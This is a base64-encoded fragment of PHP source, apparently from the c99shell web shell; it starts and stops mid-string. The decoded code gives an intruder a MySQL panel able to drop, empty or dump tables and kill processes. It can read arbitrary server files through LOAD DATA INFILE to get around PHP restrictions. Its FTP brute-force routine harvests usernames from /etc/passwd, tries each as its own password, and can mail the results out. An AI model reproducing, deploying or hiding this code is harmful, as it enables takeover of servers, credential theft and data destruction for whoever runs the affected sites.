N0PWltZyZpbWc9c3FsX2J1dHRvbl9pbnNlcnRcIiBhbHQ9XCJJbnNlcnRcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgICRpKys7CiAgICAgIH0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOwogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4rPC9iPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+Ii4kaS4iIHRhYmxlKHMpPC9iPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+Ii4kcm93WzFdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48Yj4iLnZpZXdfc2l6ZSgkdHNpemUpLiI8L2I+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PC90ZD4iOwogICAgICBlY2hvICI8L3RyPiI7CiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0Ymxkcm9wXCI+RHJvcDwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGR1bXBcIj5EdW1wPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGNoZWNrXCI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxyZXBhaXJcIj5SZXBhaXIgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsYW5hbHl6ZVwiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOwogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgfQogICAgfQogICB9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOwogICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKSB7Pz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3ZGIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXdkYiIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPlZpZXcgRmlsZTo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9CiAgIGlmICghZW1wdHkoJHNxbF9hY3QpKQogICB7CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld2RiIikKICAgIHsKICAgICBlY2hvICI8Yj4iOwogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+Ijt9CiAgICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJzdGF0dXMiKQogICAgewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOwogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyLXN0YXR1cyB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+PC9jZW50ZXI+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVydmFycyIpCiAgICB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD48Yj5OYW1lPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOwogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInByb2Nlc3NlcyIpCiAgICB7CiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHskcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsgZWNobyAiPGI+S2lsbGluZyBwcm9jZXNzICMiLiRraWxsLiIuLi4gb2suIGhlIGlzIGRlYWQsIGFtZW4uPC9iPiI7fQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gImdldGZpbGUiKQogICAgewogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7CiAgICAgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOwogICAgIGlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30KICAgICBpZiAoJHNlbGVjdCkKICAgICB7CiAgICAgICRjcmVhdGVkID0gRkFMU0U7CiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7CiAgICAgIG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIi5hZGRzbGFzaGVzKCRzcWxfZ2V0ZmlsZSkuIlwiIElOVE8gVEFCTEUgdG1wX2ZpbGUiKTsKICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOwogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30KICAgICAgZWxzZQogICAgICB7CiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30KICAgICAgICRmID0gIiI7CiAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgeyRmIC49IGpvaW4gKCJcclxuIiwkcm93KTt9CiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQogICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsKICAgICAgfQogICAgIH0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IC8vY29tbWVudCBpdCBpZiB5b3Ugd2FudCB0byBsZWF2ZSBkYXRhYmFzZQogICAgfQogICB9CiAgfQp9CmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CmlmICgkc3FsX3NvY2spCnsKICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOwogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93czogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOwp9CmVjaG8gIjwvdGFibGU+IjsKfQppZiAoJGFjdCA9PSAibWtkaXIiKQp7CmlmICgkbWtkaXIgIT0gJGQpCnsKICBpZiAoZmlsZV9leGlzdHMoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWNobyAiPGJyPjxicj4iOwp9CiRhY3QgPSAkZHNwYWN0ID0gImxzIjsKfQppZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpCnsKZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsKaWYgKCF3aW4pIHtlY2hvICJUaGlzIGZ1bmN0aW9ucyBub3Qgd29yayBpbiBXaW5kb3dzITxicj48YnI+Ijt9CmVsc2UKewogIGZ1bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpCiAgewogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JFRSVUUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9GQUxTRSIsIi9zYmluL25vbG9naW4iKSkpO30KICAgZWxzZSB7JFRSVUUgPSBUUlVFO30KICAgaWYgKCRUUlVFKQogICB7CiAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7CiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKQogICAgewogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsKICAgICBvYl9mbHVzaCgpOwogICAgIHJldHVybiBUUlVFOwogICAgfQogICB9CiAgfQogIGlmICghZW1wdHkoJHN1Ym1pdCkpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9CiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCBnZXQgL2V0Yy9wYXNzd2QgZm9yIHBhc3N3b3JkLWxpc3QuIjt9CiAgIGVsc2UKICAgewogICAgaWYgKCRmcWJfbG9nZ2luZykKICAgIHsKICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICBlbHNlIHskZnFiX2xvZ2ZwID0gRkFMU0U7fQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpCiAgICAgewogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOwogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgICRzdWNjZXNzKys7CiAgICAgIG9iX2ZsdXNoKCk7CiAgICAgfQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICRpKys7CiAgICB9CiAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9CiAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOwogICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7CiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiYzk5c2hlbGwgdi4gIi4kc2h2ZXIuIiByZXBvcnQiLCRmcWJfbG9nKTt9CiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7CiAgIH0KICB9CiAgZWxzZQogIHsKICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImM5OXNoX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOwogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRoIHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dpbmcgdG8gZmlsZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PGJyPkxvZ2dpbmcgdG8gZS1tYWlsPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsKICB9Cn0KfQppZiAoJGFjdCA9PSAiZCIpCnsKaWYgKCFpc19kaXIoJGQpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkITwvYj48L2NlbnRlcj4iO30KZWxzZQp7CiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7CiAgaWYgKCEkd2luKQogIHsKICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsKICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7CiAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOwogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsKICB9CiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7Cn0KfQppZiAoJGFjdCA9PSAicGhwaW5mbyIpIHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjOTlzaGV4aXQoKTt9CmlmICgkYWN0ID09ICJzZWN1cml0eSIpCnsKZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb246PC9iPjwvY2VudGVyPjxiPk9wZW4gYmFzZSBkaXI6I